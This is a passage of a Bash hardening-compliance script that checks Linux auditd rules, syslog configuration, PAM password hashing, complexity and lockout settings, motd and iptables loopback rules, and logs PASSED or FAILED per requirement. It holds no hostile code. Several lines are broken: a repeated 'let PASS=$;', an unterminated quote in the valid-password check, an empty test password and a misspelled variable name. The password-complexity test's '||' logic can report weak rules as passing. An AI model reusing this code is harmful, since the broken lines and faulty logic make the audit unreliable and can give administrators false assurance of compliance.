-/ \\\\-/g')\n if [ \"$(auditctl -l | grep -E \"$EVENT_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check auditd for events of priviledged command $CHK:\\e[1;31m FAILED\\e[0m (event missing)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check auditd for events of priviledged command $CHK:\\e[1;32m PASSED\\e[0m\";\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req33 $REQ33 \"$REQ33_TXT\"\n\n# Req 34: Account and Group Management events must be logged.\nlet \"REQ_NR++\"\nREQ_TXT=\"Account and Group Management events must be logged.\"\nFAIL=0\nPASS=0\n\ntest_req34 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CNT=1\n ACC_GRP_MGMT_EVENTS=ACC_GRP_MGMT_EVENTS_$CNT\n\n # Test 1/1\n NUM=1\n while [ $CNT -lt 100 ]; do\n if [ -n \"${!ACC_GRP_MGMT_EVENTS}\" ]; then\n ACC_GRP_MGMT_EVENTS_NEW=$(echo ${!ACC_GRP_MGMT_EVENTS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ \"$(auditctl -l | grep -E \"$ACC_GRP_MGMT_EVENTS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for account mgmt events:\\e[1;31m FAILED\\e[0m (event missing: ${!ACC_GRP_MGMT_EVENTS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for account mgmt events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n ACC_GRP_MGMT_EVENTS=ACC_GRP_MGMT_EVENTS_$CNT;\n else\n CNT=100;\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req34 $REQ34 \"$REQ34_TXT\"\n\n# Req 35: Configuration Change events must be logged.\nlet \"REQ_NR++\"\nREQ_TXT=\"Configuration Change events must be logged.\"\nFAIL=0\nPASS=0\n\ntest_req35 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n CNT=1\n CHANGE_EVENTS=CHANGE_EVENTS_$CNT\n\n # Test 1/2\n NUM=1\n while [ $CNT -lt 100 ]; do\n if [ -n \"${!CHANGE_EVENTS}\" ]; then\n CHANGE_EVENTS_NEW=$(echo ${!CHANGE_EVENTS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ \"$(auditctl -l | grep -E \"$CHANGE_EVENTS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for change events:\\e[1;31m FAILED\\e[0m (event missing: ${!CHANGE_EVENTS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd for change events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n CHANGE_EVENTS=CHANGE_EVENTS_$CNT;\n else\n CNT=100;\n fi\n done\n\n # Test 2/2\n NUM=1\n CNT=1\n CHANGE_EVENTS_OS=CHANGE_EVENTS_$OS_MAIN_DISTRO$CNT\n\n while [ $CNT -lt 100 ]; do\n CHANGE_EVENTS_OS_NEW=$(echo ${!CHANGE_EVENTS_OS} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\n if [ -n \"${!CHANGE_EVENTS_OS}\" ]; then\n if [ \"$(auditctl -l | grep -E \"$CHANGE_EVENTS_OS_NEW\" | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific change events:\\e[1;31m FAILED\\e[0m (event missing: ${!CHANGE_EVENTS_OS})\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check auditd for os specific change events:\\e[1;32m PASSED\\e[0m\";\n fi\n let CNT++;\n CHANGE_EVENTS_OS=CHANGE_EVENTS_$OS_MAIN_DISTRO$CNT;\n else\n CNT=100;\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req35 $REQ35 \"$REQ35_TXT\"\n\n# Req 36: Auditd configuration must be immutable.\nlet \"REQ_NR++\"\nREQ_TXT=\"Auditd configuration must be immutable.\"\nFAIL=0\nPASS=0\n\ntest_req36 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$MAJOR_VERSION\" -eq \"16\" ]; then\n CONFIG_FILE=\"/etc/audit/audit.rules\";\n else\n CONFIG_FILE=\"/etc/audit/rules.d/audit.rules\";\n fi\n\n # Test 1/1\n NUM=1\n if [ \"$(grep \"\\-e 2\" $CONFIG_FILE | wc -l)\" -eq \"0\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd config is immutable:\\e[1;31m FAILED\\e[0m (entry '-e 2' not found)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check auditd config is immutable:\\e[1;32m PASSED\\e[0m\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req36 $REQ36 \"$REQ36_TXT\"\n\n# Req 37: Security relevant logging data must be send to an external system direct after their creation.\nlet \"REQ_NR++\"\nREQ_TXT=\"Security relevant logging data must be send to an external system direct after their creation.\"\nFAIL=0\nPASS=0\n\ntest_req37 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"$SYSLOG_TYPE\" == \"rsyslog\" ]; then\n CHK=$(ps -A | grep $SYSLOG_TYPE)\n if [ -z \"$CHK\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check $SYSLOG_TYPE is installed and running:\\e[1;31m FAILED\\e[0m ($SYSLOG_TYPE not running)\";\n else\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check $SYSLOG_TYPE is installed and running:\\e[1;32m PASSED\\e[0m\";\n fi\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check $SYSLOG_TYPE is installed and running:\\e[1;31m FAILED\\e[0m ($SYSLOG_TYPE not supported! Check manual.)\";\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req37 $REQ37 \"$REQ37_TXT\"\n\n# Req 38: If RSyslog is used, the default permission of 640 or more restrictive for logfiles must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If RSyslog is used, the default permission of 640 or more restrictive for logfiles must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req38 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n if [ \"$SYSLOG_TYPE\" == \"rsyslog\" ]; then\n # Test 1/3\n NUM=1\n PRIV=$(stat -c %a $RSYSLOG_CONF)\n if [ \"$PRIV\" -le \"640\" ]; then \n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if priviledges of $RSYSLOG_CONF is 640 or less:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check if priviledges of $RSYSLOG_CONF is 640 or less:\\e[1;31m FAILED\\e[0m (is $PRIV)\";\n fi\n # Test 2/3\n NUM=1\n USER=$(stat -c '%U' $RSYSLOG_CONF)\n if [ \"$USER\" == \"root\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if owner of $RSYSLOG_CONF is root:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM++)))] Check if owner of $RSYSLOG_CONF is root:\\e[1;31m FAILED\\e[0m (owner is $USER)\";\n fi\n # Test 3/3\n NUM=1\n GROUP=$(stat -c '%G' $RSYSLOG_CONF)\n if [ \"$GROUP\" == \"root\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if group of $RSYSLOG_CONF is root:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check if group of $RSYSLOG_CONF is root:\\e[1;31m FAILED\\e[0m (group is $GROUP)\";\n fi\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check file permission, owner and group of $RSYSLOG_CONF: n/a (rsyslog not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req38 $REQ38 \"$REQ38_TXT\"\n\n# Req 39: If RSyslog is used, at least one central logging server must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If RSyslog is used, at least one central logging server must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req39 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"$SYSLOG_TYPE\" == \"rsyslog\" ]; then\n if [ \"$(rsyslogd -N1 &>/dev/null && echo $?)\" -eq \"0\" ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check $SYSLOG_TYPE configuration:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check $SYSLOG_TYPE configuration:\\e[1;31m FAILED\\e[0m (error(s) found)\";\n fi\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check $SYSLOG_TYPE configuration: n/a (rsyslog not used)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n fi\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req39 $REQ39 \"$REQ39_TXT\"\n\n# Req 40: If Syslog-NG is used, the default permission of 640 or more restrictive for logfiles must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If Syslog-NG is used, the default permission of 640 or more restrictive for logfiles must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req40 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n if [ \"$SYSLOG_TYPE\" == \"syslog-ng\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check file permission, owner and group for syslog-ng:\\e[1;31m FAILED\\e[0m (hardening not implemented yet!)\"\n write_to_soc $FAIL $PASS \"Automated hardening not implemented!\"\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check file permission, owner and group for syslog-ng: SKIPPED (not implemented: Check manual!)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n let CNT_SKIP=$CNT_SKIP+1\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req40 $REQ40 \"$REQ40_TXT\"\n\n# Req 41: If Syslog-NG is used, at least one central logging server must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If Syslog-NG is used, at least one central logging server must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req41 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n # Test 1/1\n NUM=1\n if [ \"$SYSLOG_TYPE\" == \"syslog-ng\" ]; then\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 0.0] Check syslog-ng configuration:\\e[1;31m FAILED\\e[0m (hardening not implemented yet!)\"\n write_to_soc $FAIL $PASS \"Automated hardening not implemented!\"\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check syslog-ng configuration: SKIPPED (not implemented: Check manual!)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable\">&3;\n let CNT_SKIP=$CNT_SKIP+1\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req41 $REQ41 \"$REQ41_TXT\"\n\n# Req 42: If PAM is used, an appropriate hashing function must be configured for password protection for PAM.\nlet \"REQ_NR++\"\nREQ_TXT=\"If PAM is used, an appropriate hashing function must be configured for password protection for PAM.\"\nFAIL=0\nPASS=0\n\ntest_req42 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n PAM_FILES_OS=PAM_FILES_$OS_MAIN_DISTRO\n NUM1=1\n NUM2=1\n\n for CHK in ${!PAM_FILES_OS}; do\n # Test 1/2\n SEARCH_METHOD=\"$(grep -e 'pam_unix.so' /etc/pam.d/$CHK | grep $PAM_ENRYPT_METHOD | wc -l)\"\n if [ $SEARCH_METHOD -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) encryption method ($PAM_ENRYPT_METHOD) for password hashing:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) encryption method ($PAM_ENRYPT_METHOD) for password hashing:\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n\n # Test 2/2\n SEARCH_ROUNDS=\"$(grep -e 'pam_unix.so' /etc/pam.d/$CHK | grep rounds=$PAM_ROUNDS | wc -l)\"\n if [ $SEARCH_ROUNDS -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) for rounds ($PAM_ROUNDS) for password hashing:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) for rounds ($PAM_ROUNDS) for password hashing:\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req42 $REQ42 \"$REQ42_TXT\"\n\n# Req 43: If PAM is used, password rules must be configured for PAM to force the use of passwords with a minimum length of 8 characters and a combination of three out of the following categories: upper cases, lower case, numbers and special characters.\nlet \"REQ_NR++\"\nREQ_TXT=\"If PAM is used, password rules must be configured for PAM to force the use of passwords with a minimum length of 8 characters and a combination of three out of the following categories: upper cases, lower case, numbers and special characters.\"\nFAIL=0\nPASS=0\n\ntest_req43 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n PAM_MODULE_SUSE=\"pam_cracklib.so\"\n PAM_MODULE_DEBIAN=\"pam_pwquality.so\"\n PAM_MODULE_OS=PAM_MODULE_$OS_MAIN_DISTRO\n PAM_FILES_OS=PAM_FILES_$OS_MAIN_DISTRO\n NUM1=1\n NUM2=1\n\n for CHK in ${!PAM_FILES_OS}; do\n if [ \"$OS_MAIN_DISTRO\" == \"REDHAT\" ]; then\n \n # Test 1/2 (RedHat)\n SEARCH_PASS_LEN=\"$(awk -F\\= '/minlen/ {print $2}' /etc/security/pwquality.conf | tr -d \" \")\"\n if [ $SEARCH_PASS_LEN -ge $PAM_PASSWORD_LENGTH ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/security/pwquality.conf) password length ($PAM_PASSWORD_LENGTH):\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/security/pwquality.conf) password length ($PAM_PASSWORD_LENGTH):\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n\n #Test 2/2 (RedHat)\n SEARCH_MINCLASS=\"$(grep \"minclass *= *$PAM_CHAR_CLASSES\" /etc/security/pwquality.conf | wc -l)\"\n if [ $SEARCH_MINCLASS -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/security/pwquality.conf) allowed character classes ($PAM_CHAR_CLASSES) for passwords:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/security/pwquality.conf) allowed character classes ($PAM_CHAR_CLASSES) for passwords:\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n \n else\n \n # Test 1/2 (Suse + Ubuntu)\n SEARCH_PASS_LEN=\"$(grep -e ${!PAM_MODULE_OS} /etc/pam.d/$CHK | grep \"minlen=$PAM_PASSWORD_LENGTH\" | wc -l)\"\n if [ $SEARCH_PASS_LEN -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) password length ($PAM_PASSWORD_LENGTH):\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) password length ($PAM_PASSWORD_LENGTH):\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n \n # Test 2/2 (Suse + Ubuntu)\n SEARCH_MINCLASS=\"$(grep -e ${!PAM_MODULE_OS} /etc/pam.d/$CHK | grep \"minclass=$PAM_CHAR_CLASSES\" | wc -l)\"\n if [ $SEARCH_MINCLASS -eq 1 ]; then\n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) allowed character classes ($PAM_CHAR_CLASSES) for passwords:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) allowed character classes ($PAM_CHAR_CLASSES) for passwords:\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n fi\n done\n\n #Test Password\n USER=\"new\"\n PW_SHORT=\"pV.32_0pmBI\" # len <12\n PW_SIMPL=\"pvo32l0pmbi4\" # not mix 3 of uc/lc/nu/sc\n PASSWORD=\"\" # len =12, mix of chars\n NUM=1\n\n useradd $USER &>/dev/null\n\n # Test 3/3\n # password to short\n CHK_LENGTH=\"$(printf \"$PW_SHORT\\n$PW_SHORT\\n\\n\" | passwd $USER 2>&1 | grep \"short\\|simple\" | wc -l)\"\n # password to simple\n CHK_COMPLX=\"$(printf \"$PW_SIMPL\\n$PW_SIMPL\\n\\n\" | passwd $USER 2>&1 | grep \"short\\|classes\" | wc -l)\"\n # valid password\n CHK_VALID=\"$(printf \"$PASSWORD\\n$PASSWORD\\\" | passwd $USER 2>&1 | grep \"BAD PASSWORD\" | wc -l)\"\n\n if [ $CHK_LENGTH -eq 0 ] || [ $CHK_COMPLX -eq 0 ] || [ $CHK_VALID -eq 0 ]; then \n let PASS=$;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check for password complexity rules:\\e[1;32m PASSED\\e[0m\";\n else\n #ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 3.$(((NUM++)))] Check for password complexity rules:\\e[1;31m FAILED\\e[0m (rule set wrong)\"\n fi\n\n userdel -r $USER &>/dev/null\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req43 $REQ43 \"$REQ43_TXT\"\n\n# Req 44: If PAM is used, a protection against brute force and dictionary attacks that hinder password guessing must be configured in PAM.\nlet \"REQ_NR++\"\nREQ_TXT=\"If PAM is used, a protection against brute force and dictionary attacks that hinder password guessing must be configured in PAM.\"\nFAIL=0\nPASS=0\n\ntest_req44 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n PAM_MODULE_REDHAT=\"pam_faillock.so\"\n PAM_MODULE_SUSE=\"pam_tally2.so\"\n PAM_MODULE_DEBIAN=\"pam_tally2.so\"\n PAM_FILES_SUSE=\"login\"\n PAM_FILES_DEBIAN=\"common-account\"\n PAM_MODULE_OS=PAM_MODULE_$OS_MAIN_DISTRO\n PAM_FILES_OS=PAM_FILES_$OS_MAIN_DISTRO\n NUM1=1\n NUM2=1\n\n for CHK in ${!PAM_FILES_OS}; do\n # Test 1/2\n SEARCH_ATTEMPS=\"$(grep -e ${!PAM_MODULE_OS} /etc/pam.d/$CHK | grep \"deny=$PAM_FAILED_LOGIN_ATTEMPS\" | wc -l)\"\n if [ $SEARCH_ATTEMPS -ne 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) failed login attemps ($PAM_FAILED_LOGIN_ATTEMPS):\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM1++)))] Check pam (/etc/pam.d/$CHK) failed login attemps ($PAM_FAILED_LOGIN_ATTEMPS):\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n\n # Test 2/2\n SEARCH_UNLOCK_TIME=\"$(grep -e ${!PAM_MODULE_OS} /etc/pam.d/$CHK | grep \"unlock_time=$PAM_UNLOCK_TIME\" | wc -l)\"\n if [ $SEARCH_UNLOCK_TIME -ne 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) unlock time ($PAM_UNLOCK_TIME):\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 2.$(((NUM2++)))] Check pam (/etc/pam.d/$CHK) unlock time ($PAM_UNLOCK_TIME):\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req44 $REQ44 \"$REQ444_TXT\"\n\n# Req 45: If PAM is used , PAM must be configured that motd did not contain any sensitive data.\nlet \"REQ_NR++\"\nREQ_TXT=\"If PAM is used , PAM must be configured that motd did not contain any sensitive data.\"\nFAIL=0\nPASS=0\n\ntest_req45 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n PAM_FILES_MOTD=\"login sshd\"\n NUM=1\n\n for CHK in $PAM_FILES_MOTD; do\n # Test 1/1\n SEARCH_MOTD=\"$(grep \"pam_motd.so\" /etc/pam.d/$CHK | grep -v \"^#\" | wc -l)\"\n if [ $SEARCH_MOTD -eq 0 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check pam (/etc/pam.d/$CHK) if motd is enabled:\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check pam (/etc/pam.d/$CHK) if motd is enabled:\\e[1;31m FAILED\\e[0m (wrong configuration)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req45 $REQ45 \"$REQ45_TXT\"\n\n# Req 46: If iptables is used, policies for loopback traffic must be configured.\nlet \"REQ_NR++\"\nREQ_TXT=\"If iptables is used, policies for loopback traffic must be configured.\"\nFAIL=0\nPASS=0\n\ntest_req46 () {\n if [ \"$1\" == \"TRUE\" ]; then\n\n IPTABLES_RULE_1=\"-A INPUT -i lo -j ACCEPT\"\n IPTABLES_RULE_2=\"-A OUTPUT -o lo -j ACCEPT\"\n IPTABLES_RULE_3=\"-A INPUT -s 127.0.0.0/8 -j DROP\"\n\n if [ \"$OS_MAIN_DISTRO\" != \"SUSE\" ]; then\n\n # Test 1/1\n NUM=1\n for CNT in 1 2 3; do\n IPTABLES_RULE=IPTABLES_RULE_$CNT\n IPTABLES_RULE_NEW=\"$(echo ${!IPTABLES_RULE} | sed 's/^.//' | sed 's/ -/ \\\\-/g')\"\n CHK_IPTABLES=\"$(iptables -S | grep -i \"$IPTABLES_RULE_NEW\" | wc -l)\"\n if [ $CHK_IPTABLES -eq 1 ]; then\n let PASS=$PASS+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;32m PASSED\\e[0m\";\n else\n ERR=1;\n let FAIL=$FAIL+1;\n echo -e \"[Req-$REQ_NR: Test 1.$(((NUM++)))] Check iptables rule '\"${!IPTABLES_RULE}\"':\\e[1;31m FAILED\\e[0m (rule missing)\"\n fi\n done\n\n let CNT_ERRORS=$CNT_ERRORS+$FAIL\n let CNT_PASSED=$CNT_PASSED+$PASS\n write_to_soc $FAIL $PASS\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Check IPTables configuration and rules: SKIPPED (Not implemented!)\";\n echo \"Req $REQ_NR;$REQ_TXT;Not Compliant;IPTables not implemented for Suse Linux\">&3;\n let CNT_SKIP=$CNT_SKIP+$SKIP\n fi\n\n else\n echo -e \"[Req-$REQ_NR: Test 0.0] Checks for requirement $REQ_NR disabled: SKIPPED (N/A)\"\n echo \"Req $REQ_NR;$REQ_TXT;Not Applicable;$2\">&3;\n let CNT_SKIP=$CNT_SKIP+1 \n fi\n}\n\ntest_req46 $REQ46 \"$REQ46_TXT\"\n\n# Req 47: If 